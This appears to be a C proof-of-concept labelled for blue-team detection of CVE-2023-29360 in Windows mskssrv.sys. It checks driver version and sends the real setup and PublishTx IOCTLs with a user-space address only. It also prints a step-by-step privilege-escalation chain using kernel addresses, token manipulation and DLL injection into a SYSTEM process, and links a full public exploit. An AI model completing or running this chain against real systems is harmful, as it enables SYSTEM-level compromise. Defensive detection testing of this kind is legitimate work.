/*
 * CVE-2023-29360 -- mskssrv.sys MDL AccessMode Bypass PoC
 *
 * Description:
 *   Demonstrates the incorrect AccessMode in MmProbeAndLockPages within
 *   mskssrv.sys's FsAllocAndLockMdl function. The driver calls
 *   MmProbeAndLockPages with KernelMode(0) instead of UserMode(1),
 *   skipping the user/kernel address boundary check. This allows a
 *   user-mode process to lock and map arbitrary kernel memory pages.
 *
 *   This PoC is a BLUE TEAM DETECTION TRIGGER only. It:
 *   1. Checks if the MSKSSRV device interface is available
 *   2. Verifies mskssrv.sys version for patch status
 *   3. Sets up the required driver state (InitRendezvous + InitStream)
 *   4. Sends a PublishTx IOCTL with a USER-SPACE address (safe) to
 *      confirm the driver accepts the request
 *
 *   It does NOT send kernel addresses, does NOT map kernel memory, and
 *   does NOT perform any privilege escalation.
 *
 * Build (MSVC x64 Native Tools Command Prompt):
 *   cl.exe /W4 /O2 /D_CRT_SECURE_NO_WARNINGS poc_cve_2023_29360.c /link kernel32.lib version.lib advapi32.lib cfgmgr32.lib
 *
 * Usage:
 *   poc_cve_2023_29360.exe         (normal)
 *   poc_cve_2023_29360.exe /v      (verbose)
 *
 * Expected (pre-patch):  Driver accepts PublishTx with user address, reports VULNERABLE
 * Expected (post-patch): Driver validates address range, same behavior but version check differs
 *
 * NOTE: The full exploit (Nero22k/cve-2023-29360) uses kernel addresses in the MDL
 *       to achieve arbitrary R/W. This PoC intentionally uses only user-space addresses.
 *
 * Author: OnlyFm252
 * Date:   2026-07-26
 * CVE:    CVE-2023-29360
 *
 * DISCLAIMER: FOR DEFENSIVE RESEARCH AND BLUE TEAM DETECTION TESTING ONLY.
 */

/* -- poc_common.h configuration -- */
#define POC_CVE     "CVE-2023-29360"
#define POC_BINARY  L"mskssrv.sys"

static int g_verbose = 0;
#define POC_VERBOSE g_verbose

#include "poc_common.h"

#include <cfgmgr32.h>

#pragma comment(lib, "cfgmgr32.lib")

/* ======================================================================
 *  IOCTL codes for mskssrv.sys
 * ====================================================================== */

#define IOCTL_INIT_RENDEZVOUS    0x2F0400
#define IOCTL_INIT_STREAM        0x2F0404
#define IOCTL_PUBLISH_TX         0x2F0408
#define IOCTL_CONSUME_TX         0x2F0410
#define IOCTL_REGISTER_STREAM    0x2F0420

/* Device interface GUID for mskssrv */
static const WCHAR g_DevicePath[] =
    L"\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}"
    L"\\{96E080C7-143C-11D1-B40F-00A0C9223196}"
    L"&{3C0D501A-140B-11D1-B40F-00A0C9223196}";

/* ======================================================================
 *  Version comparison for mskssrv.sys
 * ====================================================================== */

static int check_mskssrv_version(void)
{
    DWORD verHi, verLo;
    DWORD major, minor, build, rev;

    if (!poc_get_binary_version(POC_BINARY, &verHi, &verLo)) {
        POC_WARN(L"Cannot read mskssrv.sys version — driver may not be present");
        return -1;
    }

    poc_print_binary_version(POC_BINARY, verHi, verLo);

    major = (verHi >> 16) & 0xFFFF;
    minor = verHi & 0xFFFF;
    build = (verLo >> 16) & 0xFFFF;
    rev   = verLo & 0xFFFF;

    POC_DETAIL(L"Version: %u.%u.%u.%u", major, minor, build, rev);

    (void)major;
    (void)minor;

    /* Win10 19041: vulnerable < .3086 */
    if (build == 19041 && rev < 3086) {
        POC_WARN(L"Build %u.%u is PRE-PATCH (vulnerable)", build, rev);
        return 1;
    }
    /* Win10 22H2 (19045): vulnerable < .3086 */
    if (build == 19045 && rev < 3086) {
        POC_WARN(L"Build %u.%u is PRE-PATCH (vulnerable)", build, rev);
        return 1;
    }
    /* Win11 22H2 (22621): vulnerable < .1848 */
    if (build == 22621 && rev < 1848) {
        POC_WARN(L"Build %u.%u is PRE-PATCH (vulnerable)", build, rev);
        return 1;
    }
    /* Win11 21H2 (22000): vulnerable < .2057 */
    if (build == 22000 && rev < 2057) {
        POC_WARN(L"Build %u.%u is PRE-PATCH (vulnerable)", build, rev);
        return 1;
    }

    POC_OK(L"Build %u.%u appears PATCHED", build, rev);
    return 0;
}

/* ======================================================================
 *  Try to open the MSKSSRV device
 * ====================================================================== */

static HANDLE try_open_mskssrv(void)
{
    HANDLE hDevice;

    hDevice = CreateFileW(
        g_DevicePath,
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );

    if (hDevice == INVALID_HANDLE_VALUE) {
        /* Try enumerating the device interface */
        GUID guid = { 0x3c0d501a, 0x140b, 0x11d1,
                      { 0xb4, 0x0f, 0x00, 0xa0, 0xc9, 0x22, 0x31, 0x96 } };
        WCHAR buf[512];
        ULONG bufLen = sizeof(buf) / sizeof(buf[0]);
        CONFIGRET cr;

        cr = CM_Get_Device_Interface_ListW(
            &guid, NULL, buf, bufLen, CM_GET_DEVICE_INTERFACE_LIST_PRESENT);

        if (cr == CR_SUCCESS && buf[0] != L'\0') {
            POC_DETAIL(L"Found device interface: %s", buf);
            hDevice = CreateFileW(
                buf,
                GENERIC_READ | GENERIC_WRITE,
                0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        }
    }

    return hDevice;
}

/* ======================================================================
 *  Send IOCTLs to set up driver state
 * ====================================================================== */

static int setup_driver_state(HANDLE hDevice)
{
    BYTE inBuf[256];
    BYTE outBuf[256];
    DWORD bytesReturned = 0;
    BOOL ok;
    HANDLE hEvent;

    /* Step 1: Initialize Rendezvous (IOCTL 0x2F0400) */
    POC_INFO(L"Sending IOCTL 0x2F0400 (InitializeContextRendezvous)");
    memset(inBuf, 0, sizeof(inBuf));
    *(DWORD *)(inBuf + 0x00) = 0xFFFFFFFF;  /* flags & 1 != 0 */

    ok = DeviceIoControl(hDevice, IOCTL_INIT_RENDEZVOUS,
                         inBuf, sizeof(inBuf), outBuf, sizeof(outBuf),
                         &bytesReturned, NULL);
    if (!ok) {
        POC_DETAIL(L"InitRendezvous returned error %u", GetLastError());
        /* May succeed internally even if DeviceIoControl reports failure */
    } else {
        POC_OK(L"InitRendezvous succeeded");
    }

    /* Step 2: Initialize Stream (IOCTL 0x2F0404) */
    POC_INFO(L"Sending IOCTL 0x2F0404 (InitializeStream)");
    memset(inBuf, 0, sizeof(inBuf));
    *(DWORD *)(inBuf + 0x00) = 0xFFFFFFFF;                    /* flags */
    *(UINT64 *)(inBuf + 0x08) = (UINT64)GetCurrentProcessId(); /* PID */
    *(UINT64 *)(inBuf + 0x10) = 0x4343434344444444ULL;         /* non-zero */
    *(DWORD *)(inBuf + 0x1C) = 4;                              /* stream params */
    *(DWORD *)(inBuf + 0x20) = 0x4000;                         /* size */

    hEvent = CreateEventW(NULL, FALSE, FALSE, NULL);
    *(HANDLE *)(inBuf + 0x28) = hEvent;

    ok = DeviceIoControl(hDevice, IOCTL_INIT_STREAM,
                         inBuf, sizeof(inBuf), outBuf, sizeof(outBuf),
                         &bytesReturned, NULL);
    if (!ok) {
        POC_DETAIL(L"InitStream returned error %u", GetLastError());
    } else {
        POC_OK(L"InitStream succeeded — FSStreamReg created");
    }

    if (hEvent) CloseHandle(hEvent);
    return ok ? 0 : -1;
}

/* ======================================================================
 *  Send a safe PublishTx IOCTL with user-space address
 * ====================================================================== */

static int probe_publish_tx(HANDLE hDevice)
{
    BYTE inBuf[256];
    BYTE outBuf[256];
    DWORD bytesReturned = 0;
    BOOL ok;
    PVOID userBuf;

    /* Allocate a user-mode buffer as our safe target address */
    userBuf = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!userBuf) {
        POC_WARN(L"VirtualAlloc failed");
        return -1;
    }
    memset(userBuf, 0x41, 0x1000);

    POC_INFO(L"Sending IOCTL 0x2F0408 (PublishTx) with USER-SPACE address: 0x%p", userBuf);
    POC_INFO(L"(Safe — using user address, NOT kernel address)");

    memset(inBuf, 0, sizeof(inBuf));
    *(DWORD *)(inBuf + 0x20) = 1;                    /* maxCount */
    *(DWORD *)(inBuf + 0x24) = 1;                     /* count <= maxCount */
    *(DWORD *)(inBuf + 0x28) = 1;                     /* non-zero */
    *(UINT64 *)(inBuf + 0x28 + 0x20) = (UINT64)userBuf;  /* Addr1 (user space) */
    *(DWORD *)(inBuf + 0x28 + 0x34) = 0x1000;         /* Size1 */
    *(UINT64 *)(inBuf + 0x28 + 0x38) = (UINT64)userBuf;  /* Addr2 (user space) */
    *(DWORD *)(inBuf + 0x28 + 0x44) = 0x1000;         /* Size2 */
    *(UINT64 *)(inBuf + 0x70) = 0x8;                   /* flag: BYTE(1,4,8) */

    ok = DeviceIoControl(hDevice, IOCTL_PUBLISH_TX,
                         inBuf, sizeof(inBuf), outBuf, sizeof(outBuf),
                         &bytesReturned, NULL);

    if (ok) {
        POC_OK(L"PublishTx accepted — MDL created for user address");
        POC_INFO(L"On pre-patch, kernel addresses would ALSO be accepted (bug)");
    } else {
        DWORD err = GetLastError();
        POC_DETAIL(L"PublishTx returned error %u (0x%X)", err, err);
        if (err == 0x57) {  /* ERROR_INVALID_PARAMETER */
            POC_INFO(L"Driver may have rejected due to stream state");
        }
    }

    VirtualFree(userBuf, 0, MEM_RELEASE);
    return ok ? 1 : 0;
}

/* ======================================================================
 *  Display exploitation chain (informational only)
 * ====================================================================== */

static void explain_exploitation_chain(void)
{
    POC_INFO(L"=== Exploitation Chain (CVE-2023-29360) ===");
    POC_INFO(L"1. Open MSKSSRV device via device interface GUID");
    POC_INFO(L"2. IOCTL 0x2F0400 — FSInitializeContextRendezvous");
    POC_INFO(L"3. IOCTL 0x2F0404 — InitializeStream (creates FSStreamReg, handle A)");
    POC_INFO(L"4. Open second handle (B) to same device");
    POC_INFO(L"5. IOCTL 0x2F0420 — RegisterStream (handle B, sets +0x2C flag)");
    POC_INFO(L"6. IOCTL 0x2F0408 — PublishTx (handle A) with KERNEL address");
    POC_INFO(L"   → FsAllocAndLockMdl locks kernel pages (AccessMode=KernelMode)");
    POC_INFO(L"7. IOCTL 0x2F0410 — ConsumeTx (handle A)");
    POC_INFO(L"   → FSFrameMdl::MapPages maps kernel memory to user space");
    POC_INFO(L"8. Read/write mapped kernel memory (token manipulation)");
    POC_INFO(L"9. Enable SE_DEBUG_PRIVILEGE in current process token");
    POC_INFO(L"10. Inject DLL into SYSTEM process → code execution as SYSTEM");
}

/* ======================================================================
 *  Main
 * ====================================================================== */

int wmain(int argc, wchar_t *argv[])
{
    int result = -1;
    int verResult;
    HANDLE hDevice;

    g_verbose = poc_parse_verbose(argc, argv);

    /* Unbuffer stdout */
    setvbuf(stdout, NULL, _IONBF, 0);

    poc_banner(L"mskssrv.sys FsAllocAndLockMdl AccessMode Bypass");

    /* Pre-flight */
    {
        static const poc_cfr_info cfr[] = { { 0, NULL } };
        poc_preflight(POC_BINARY, NULL, cfr, 0);
    }

    /* -- Step 1: Check mskssrv.sys version -- */
    POC_STEP("Check mskssrv.sys version for patch status");

    verResult = check_mskssrv_version();
    if (verResult > 0) {
        result = 1;
    } else if (verResult == 0) {
        result = 0;
    }

    /* -- Step 2: Try to open device -- */
    POC_STEP("Open handle to MSKSSRV device");

    hDevice = try_open_mskssrv();
    if (hDevice == INVALID_HANDLE_VALUE) {
        POC_WARN(L"Cannot open MSKSSRV device — interface may not be registered");
        POC_INFO(L"The streaming proxy must be present for exploitation");
    } else {
        POC_OK(L"Successfully opened MSKSSRV device: 0x%p", hDevice);

        /* -- Step 3: Set up driver state -- */
        POC_STEP("Set up driver state (InitRendezvous + InitStream)");

        int setupResult = setup_driver_state(hDevice);
        if (setupResult < 0) {
            POC_INFO(L"State setup incomplete — probe may not fully work");
        }

        /* -- Step 4: Safe PublishTx probe -- */
        POC_STEP("Send safe PublishTx with user-space address");

        int probeResult = probe_publish_tx(hDevice);
        if (probeResult > 0 && result <= 0) {
            POC_INFO(L"PublishTx accepted — driver processes MDL requests");
        }

        CloseHandle(hDevice);
    }

    /* -- Step 5: Explain exploitation chain -- */
    POC_STEP("Display exploitation chain (informational)");
    explain_exploitation_chain();

    /* -- Step 6: Evaluate results -- */
    POC_STEP("Evaluate results");

    if (result == 0) {
        POC_OK(L"System is PATCHED — MmProbeAndLockPages uses AccessMode=UserMode(1)");
    } else if (result > 0) {
        POC_WARN(L"System appears VULNERABLE — mskssrv.sys version is pre-patch");
        POC_INFO(L"FsAllocAndLockMdl calls MmProbeAndLockPages with AccessMode=KernelMode(0)");
        POC_INFO(L"See: github.com/Nero22k/cve-2023-29360");
    } else {
        POC_INFO(L"Could not determine patch status — check mskssrv.sys version manually");
    }

    poc_results(result);
    return result > 0 ? 1 : 0;
}
